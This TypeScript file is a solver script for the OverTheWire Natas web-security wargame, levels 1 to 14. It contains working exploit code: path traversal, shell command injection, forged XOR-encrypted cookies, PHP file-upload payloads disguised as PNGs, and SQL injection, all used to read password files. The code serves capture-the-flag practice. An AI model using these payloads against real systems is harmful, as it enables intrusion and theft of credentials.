natas/solve.ts

210 lines
6.2 KiB
TypeScript
Raw Normal View History

2023-10-05 05:39:07 +00:00
import { bytes2str, determinePeriod, hex2bin, xor } from "./util";
const solves: SolveFn[] = [
async ({ fetch }) => {
const result = await fetch("/");
const text = await result.text();
const match = text.match(/The password for natas1 is ([^ ]+)/);
return match[1];
},
async ({ fetch }) => {
const result = await fetch("/");
const text = await result.text();
const match = text.match(/The password for natas2 is ([^ ]+)/);
return match[1];
},
async ({ fetch }) => {
const result = await fetch("/files/users.txt");
const text = await result.text();
const match = text.match(/^natas3:([^\s]+)$/m);
return match[1];
},
async ({ fetch }) => {
// Discover this URL through /robots.txt
const result = await fetch("/s3cr3t/users.txt");
const text = await result.text();
const match = text.match(/^natas4:([^\s]+)$/m);
return match[1];
},
async ({ fetch }) => {
const result = await fetch("/", {
headers: { Referer: "http://natas5.natas.labs.overthewire.org/" },
});
const text = await result.text();
const match = text.match(/The password for natas5 is ([^\s]+)/m);
return match[1];
},
async ({ fetch }) => {
const result = await fetch("/", {
headers: { cookie: "loggedin=1" },
});
const text = await result.text();
const match = text.match(/The password for natas6 is ([a-zA-Z0-9]+)/m);
return match[1];
},
async ({ fetch }) => {
const result = await fetch("/includes/secret.inc");
const text = await result.text();
const secret = text.match(/\$secret = "([^"]+)"/);
const params = new URLSearchParams([
["secret", secret[1]],
["submit", "Submit+Query"],
]);
const result2 = await fetch("/", {
method: "POST",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: params.toString(),
});
const text2 = await result2.text();
const match = text2.match(/The password for natas7 is ([a-zA-Z0-9]+)/m);
return match[1];
},
async ({ fetch }) => {
// Local file inclusion
const result = await fetch(
"/index.php?page=../../../../../etc/natas_webpass/natas8"
);
const text = await result.text();
const match = text.match(/<br>\s+([a-zA-Z0-9]+)\s+<!--/m);
return match[1];
},
async ({ fetch }) => {
const encodedSecret = "3d3d516343746d4d6d6c315669563362";
let secret: any = hex2bin(encodedSecret);
secret.reverse();
secret = bytes2str(secret);
secret = atob(secret);
const params = new URLSearchParams([
["secret", secret],
["submit", "Submit+Query"],
]);
const result = await fetch("/", {
method: "POST",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: params.toString(),
});
const text = await result.text();
const match = text.match(/The password for natas9 is ([a-zA-Z0-9]+)/m);
return match[1];
},
async ({ fetch }) => {
const result = await fetch(
"/?needle=%3B+cat+%2Fetc%2Fnatas_webpass%2Fnatas10+%23&submit=Search"
);
const text = await result.text();
const match = text.match(/<pre>\s*([a-zA-Z0-9]+)\s*<\/pre>/m);
return match[1];
},
async ({ fetch }) => {
const result = await fetch(
"/?needle=%22%22+%2Fetc%2Fnatas_webpass%2Fnatas11+%23&submit=Search"
);
const text = await result.text();
const match = text.match(/<pre>\s*([a-zA-Z0-9]+)\s*<\/pre>/m);
return match[1];
},
async ({ fetch }) => {
const result = await fetch("/");
const originalCiphertext = atob(
decodeURIComponent(result.headers.get("set-cookie").split("=")[1])
);
const originalPlaintext = `{"showpassword":"no","bgcolor":"#ffffff"}`;
const fullKey = xor(originalCiphertext, originalPlaintext);
const key = fullKey.slice(0, determinePeriod(fullKey));
const data = { showpassword: "yes", bgcolor: "#ffffff" };
const encrypted = encodeURIComponent(
btoa(bytes2str(xor(JSON.stringify(data), key)))
);
const result2 = await fetch("/", {
headers: { cookie: `data=${encrypted}` },
});
const text = await result2.text();
const match = text.match(/The password for natas12 is ([a-zA-Z0-9]+)/m);
return match[1];
},
async ({ fetch }) => {
const data = new FormData();
data.append("filename", "index.php");
const payload = `<?php echo file_get_contents("/etc/natas_webpass/natas13"); ?>`;
data.append("uploadedfile", new Blob([payload]), "index.php");
const uploadResult = await fetch("/", {
method: "POST",
body: data,
});
const text = await uploadResult.text();
const urlMatch = text.match(/The file <a href="([^"]+)">/);
const url = urlMatch[1];
const fileResult = await fetch(url);
return (await fileResult.text()).trim();
},
async ({ fetch }) => {
const data = new FormData();
data.append("filename", "index.php");
// From http://www.libpng.org/pub/png/spec/1.2/PNG-Structure.html
const header = new Uint8Array([137, 80, 78, 71, 13, 10, 26, 10]);
const payload = `(<?php echo file_get_contents("/etc/natas_webpass/natas14"); ?>)`;
data.append("uploadedfile", new Blob([header, payload]), "index.png");
const uploadResult = await fetch("/", {
method: "POST",
body: data,
});
const text = await uploadResult.text();
console.log("result!", text);
const urlMatch = text.match(/The file <a href="([^"]+)">/);
const url = urlMatch[1];
const fileResult = await fetch(url);
const text2 = await fileResult.text();
const match = text2.match(/\(([^\)]+)\)/);
return match[1].trim();
},
async ({ fetch }) => {
const params = new URLSearchParams([
["username", `" or 1=1 or "`],
["password", ""],
]);
const result = await fetch("/", {
method: "POST",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: params.toString(),
});
const text = await result.text();
const match = text.match(/The password for natas15 is ([a-zA-Z0-9]+)/m);
return match[1];
},
];
export default solves;
interface SolveFn {
(props: SolveFnProps): string | Promise<string>;
}
interface SolveFnProps {
username: string;
prevPassword: string;
fetch: (url: string, init?: RequestInit) => Promise<Response>;
}